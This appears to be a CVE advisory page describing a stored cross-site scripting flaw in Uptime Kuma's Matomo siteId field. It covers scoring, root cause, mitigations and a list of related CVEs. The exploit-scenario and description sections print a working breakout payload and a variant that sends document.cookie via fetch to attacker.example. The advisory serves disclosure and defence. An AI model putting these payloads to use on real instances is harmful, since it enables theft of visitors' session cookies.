Skip to main content

Uptime Kuma CVE-2026-71285

| EUVDEUVD-2026-53370 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 TuranSec GHSA-pf4v-rpp4-fp6r
8.1
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin/editor credentials
  2. Delivery
    Enable Matomo analytics integration
  3. Exploit
    Save crafted siteId payload in settings
  4. Execution
    Victim loads public /status/<slug> page
  5. Persist
    Injected JavaScript executes in victim browser
  6. Impact
    Exfiltrate session cookies to attacker server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two sequential conditions: first, the attacker must authenticate to the Uptime Kuma administrative interface with admin or editor-level privileges (PR:H per CVSS vector) and save a malicious siteId via the Matomo analytics configuration panel - this means the Matomo analytics feature must be explicitly enabled, as it is not active by default. Second, a victim must actively visit any public /status/<slug> page served by the affected instance (UI:R per CVSS vector) after the malicious value has been persisted. Exploitation is limited by: (1) the hard prerequisite of admin/editor credentials - unauthenticated remote exploitation is not possible; (2) Matomo integration must be enabled and configured, a non-default state; (3) victim page-visit is required, though public status pages are the intended public output of the product. The payload executes on every page load without further attacker interaction once stored, making it persistent until the configuration is corrected.

Impact

The CVSS 8.1 score reflects a Stored XSS with Scope Change (S:C), acknowledging that injected JavaScript executes in victim browsers entirely outside the Uptime Kuma server's own security context. The PR:H metric is the primary risk-limiting factor: exploitation requires the attacker to already hold admin or editor-level credentials on the Uptime Kuma instance, constraining the realistic threat actor to insiders, compromised accounts, or supply-chain scenarios. UI:R adds a second condition - a victim must visit the public status page - but since these pages are the primary public-facing output of an Uptime Kuma deployment and are frequently shared and embedded, this is a low practical barrier. EPSS data is not available in the provided intelligence. No CISA KEV listing exists, and no independently verified public exploit code has been confirmed; however, the disclosure itself includes a working payload (1]);alert(document.cookie)//), effectively serving as a functional PoC and lowering the bar to near zero for any party with the required admin access. SSVC considerations: exploitation is not currently automatable against default unauthenticated targets (requires prior admin access), technical impact is partial (limited to users of affected status pages), and there is no confirmed active exploitation. The net posture is elevated real-world risk within environments where admin account hygiene is poor or where Uptime Kuma is exposed to multiple administrators of varying trust levels.

Exploit ScenarioDerived

An attacker holding admin or editor credentials on an Uptime Kuma instance navigates to the Matomo analytics settings and saves 1]);fetch('https://attacker.example/c?d='+document.cookie)// as the siteId value. Every subsequent unauthenticated visitor to any public /status/<slug> page silently exfiltrates their session cookie to the attacker-controlled endpoint. The disclosure includes a simpler functional proof-of-concept (1]);alert(document.cookie)//), confirming the escape sequence is trivially achievable with no special tooling.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Stored cross-site scripting in Uptime Kuma's Matomo analytics integration allows an admin or editor-level user to inject arbitrary JavaScript into every public status page by saving a crafted siteId value. The escaping pipeline in server/analytics/matomo-analytics.js - combining jsesc with isScriptContext:true and html-escaper.escape() - fails to neutralize JavaScript syntax characters (], ), ;, (), which are sufficient to break out of the _paq.push(['setSiteId', ...]) expression context. Every unauthenticated visitor of any /status/<slug> page subsequently executes the attacker-controlled JavaScript, enabling session cookie theft and full page takeover. No public exploit has been independently confirmed, though the disclosure includes a functional proof-of-concept payload; no KEV listing exists at time of analysis.

RemediationAI

No vendor-released patch or fixed version has been identified at time of analysis - available references point only to the upstream project repository (https://github.com/louislam/uptime-kuma) and the vulnerable source file, with no tagged release or advisory confirming a fix. As an immediate compensating control, administrators should disable the Matomo analytics integration entirely within Uptime Kuma settings, removing the injection surface with no impact on core monitoring, alerting, or status page functionality. If Matomo integration is operationally required, access to the Uptime Kuma administrative panel should be restricted at the network layer (firewall rules, reverse-proxy authentication, VPN requirement) to the smallest possible set of trusted principals, reducing the pool of accounts capable of saving a malicious siteId - though this does not eliminate insider threat. The correct long-term fix requires enforcing that siteId is a valid positive integer at the server-side before template injection, or replacing the current escaping pipeline with strict JSON encoding (e.g., JSON.stringify(siteId)) to ensure the value is always treated as a JavaScript string or number literal with no context-breakout potential.

Affected VersionsENISA

uptime-kuma 0 ≤2.4.0

Affected Packages

euvd uptime_kuma no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Uptime Kuma (cpe:2.3:a:louislam:uptime-kuma:*:*:*:*:*:*:*:*) is a self-hosted, open-source uptime monitoring tool. Its Matomo analytics integration (server/analytics/matomo-analytics.js) renders the admin-configured siteId directly into a <script> block via template literal: _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]);. The escaping pipeline applies jsesc (configured for script context) followed by html-escaper.escape(), which together neutralize HTML-special characters and some Unicode sequences but leave JavaScript punctuation - specifically ], ), ;, and ( - unescaped. Because siteId is placed inside a JavaScript array-push expression without numeric type enforcement or JSON encoding, these unescaped characters are sufficient to terminate the enclosing array literal and function call, then inject arbitrary statements. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) rooted in an inadequate escaping strategy for a JavaScript inline-script context, compounded by the absence of input validation enforcing that siteId must be a numeric integer.

Know when Uptime Kuma gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

Admin credentials required to configure siteId (PR:H); stored XSS crosses scope to victim browsers (S:C/UI:R); cookie theft and DOM takeover justify C:H/I:H; no availability impact.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Uptime Kuma's Matomo analytics integration (server/analytics/matomo-analytics.js) injects the admin-configurable Matomo siteId value as a bare, unquoted JavaScript expression inside a <script> block rendered on every public status page: _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]);. The escaping pipeline used (jsesc with isScriptContext:true, then html-escaper.escape()) does not escape the characters ], ), ;, (, which are sufficient to break out of the array/push expression context. A siteId value such as 1]);alert(document.cookie)//, once saved by an editor/admin, executes arbitrary JavaScript for every unauthenticated visitor of the public /status/<slug> page, enabling session-cookie theft and full page takeover.

Executive ViewAI

Why It Matters

Uptime Kuma's Matomo analytics integration contains a high-severity stored XSS vulnerability (CVE-2026-71285, CVSS 8.1) with publicly available exploit code and no vendor-released patch identified at time of analysis. Privileged users (admins or editors) can inject malicious code into public status pages, causing all visitors to execute the attacker's JavaScript and exposing customer session credentials to theft. This creates immediate organizational risk to brand reputation and customer trust.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable Matomo analytics integration until vendor patch is available; restrict admin and editor role assignments to essential personnel; implement IP-based access controls and multi-factor authentication for the Uptime Kuma administration panel; monitor status page access logs and server-side application logs for evidence of JavaScript injection or anomalous visitor behavior; audit Matomo configuration settings regularly; and deploy web application firewall rules to detect and block common XSS payloads on status pages.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular self-hosted monitoring tool, broad hobbyist and SMB DevOps use
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-49805 HIGH POC
8.8 Dec 11

Uptime Kuma is an easy-to-use self-hosted monitoring tool. Rated high severity (CVSS 8.8), this vulnerability is remotel

CVE-2023-36821 HIGH POC
8.8 Jul 05

Uptime Kuma, a self-hosted monitoring tool, allows an authenticated attacker to install a maliciously crafted plugin in

CVE-2023-36822 HIGH POC
8.1 Jul 05

Uptime Kuma, a self-hosted monitoring tool, has a path traversal vulnerability in versions prior to 1.22.1. Rated high s

CVE-2023-44400 HIGH POC
7.8 Oct 09

Uptime Kuma is a self-hosted monitoring tool. Rated high severity (CVSS 7.8), this vulnerability is low attack complexit

CVE-2023-49276 MEDIUM POC
6.1 Dec 01

Uptime Kuma is an open source self-hosted monitoring tool. Rated medium severity (CVSS 6.1), this vulnerability is remot

CVE-2023-25811 MEDIUM POC
5.4 Feb 21

Uptime Kuma is a self-hosted monitoring tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitab

CVE-2023-49804 HIGH
7.8 Dec 11

Uptime Kuma is an easy-to-use self-hosted monitoring tool. Rated high severity (CVSS 7.8), this vulnerability is low att

CVE-2026-33130 MEDIUM
6.5 Mar 20

Uptime Kuma versions 1.23.0 through 2.2.0 contain an incomplete Server-Side Template Injection (SSTI) vulnerability in t

CVE-2026-119552 MEDIUM
6.3 Oct 30

Additional administrator account creation in Uptime Kuma through 2.5.8 allows unauthenticated attackers to obtain admin

CVE-2023-26777 MEDIUM
6.1 Apr 04

Cross Site Scripting vulnerability found in : louislam Uptime Kuma v.1.19.6 and before allows a remote attacker to execu

CVE-2023-25810 MEDIUM
5.4 Feb 21

Uptime Kuma is a self-hosted monitoring tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitab

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy